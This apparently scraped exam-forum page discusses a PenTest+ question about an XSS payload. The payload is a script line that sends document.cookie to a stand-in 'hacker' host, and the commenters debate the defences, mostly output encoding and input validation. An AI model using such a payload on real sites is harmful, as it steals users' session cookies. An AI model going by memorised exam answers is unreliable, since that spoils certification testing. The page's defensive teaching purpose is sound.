Given the following code: <SCRIPT>var+img=new+Image();img.src=`http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
Encoding (commonly called “Output Encoding”) involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input sanitization are the best defenses against XSS. Therefore, I would go for C and E here.
This is an example of a Cross-Site Scripting (XSS) attack. To prevent this type of attack, the best methods would be:
C. Output encoding: This ensures that any data that is output to the browser is properly encoded, preventing the execution of malicious scripts.
E. Input validation: This involves validating and sanitizing user inputs to ensure they do not contain any malicious code.
A) A WAF (Web-Application Firewall) could help to prevent XSS attacks, but that's not the definitelly solution, the complete solution is C and E
B) Parameterize queries is good for SQL Injection, XSS it's a different scenario
D) Session Tokens are good in Session Hijacking Attacks not for XSS (Cross-Site Scripting)
F) Base64 encoding is primarily used to encode binary data into an ASCII string format, useful for tarnsmitting data over media that are designed to deal with text. That's not effective in preventing XSS attack.
I'm sad that you guys are stupid.
A. WAF - this can exactly prevent SQLi and XSS. Don't you understand it name????
B. this is used in SQLi not XSS
C. Output encoding - This change malicious character into a plain simple stupid string. This is good pratice!
D. Session tokens is useless - XSS still work
E. Ambigious. The <script> may come from url parameter instead of form input right???????????????? IT CAN COME FROM DOM XSS! INPUT VALIDATION IS USELSS
F. WTF encoding? if it is encode, it can work when decode right????????????
Answer is C & E
Cross-site scripting prevention can generally be achieved via two layers of defense:
• Encode data on output
• Validate input on arrival
This was taken from this site: https://portswigger.net/web-security/cross-site-scripting/preventing
C. Output encoding: This involves properly encoding any user-generated or dynamic content that is being outputted on a web page. By encoding the content, special characters are converted into their corresponding HTML entities, preventing them from being interpreted as code by the browser.
E. Input validation: It is essential to validate and sanitize any user input received by the web application. Input validation involves checking the input for expected formats, length, and type, and rejecting or sanitizing any input that doesn't meet the specified criteria. This helps to prevent the injection of malicious code into the application.
The code shown is an example of a cross-site scripting (XSS) attack, where the attacker is attempting to steal the user's cookie by injecting a malicious script into a web page
Why isn't the answer C and E? (output encoding and input validation). Not sure how parameterized queries helps you here when this is not sql injection (it's xss)
upvoted 6 times
...
This section is not available anymore. Please use the main Exam Page.PT1-002 Exam Questions
Log in to ExamTopics
Sign in:
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.
Upvoting a comment with a selected answer will also increase the vote count towards that answer by one.
So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.
BinarySoldier
Highly Voted 3 years, 5 months agoBinarySoldier
Highly Voted 3 years, 3 months agoMeisAdriano
Most Recent 9 months, 2 weeks agoMeisAdriano
9 months, 2 weeks agoBluedegard
1 year, 3 months agoisaphiltrick
1 year, 8 months agobieecop
1 year, 10 months agothepentester
2 years, 2 months agoronniehaang
2 years, 4 months agobieecop
2 years, 5 months agobieecop
2 years, 5 months agojedington
3 years, 1 month agoDavar39
3 years, 4 months agotokhs
3 years, 5 months agoPicklefall1
3 years, 6 months ago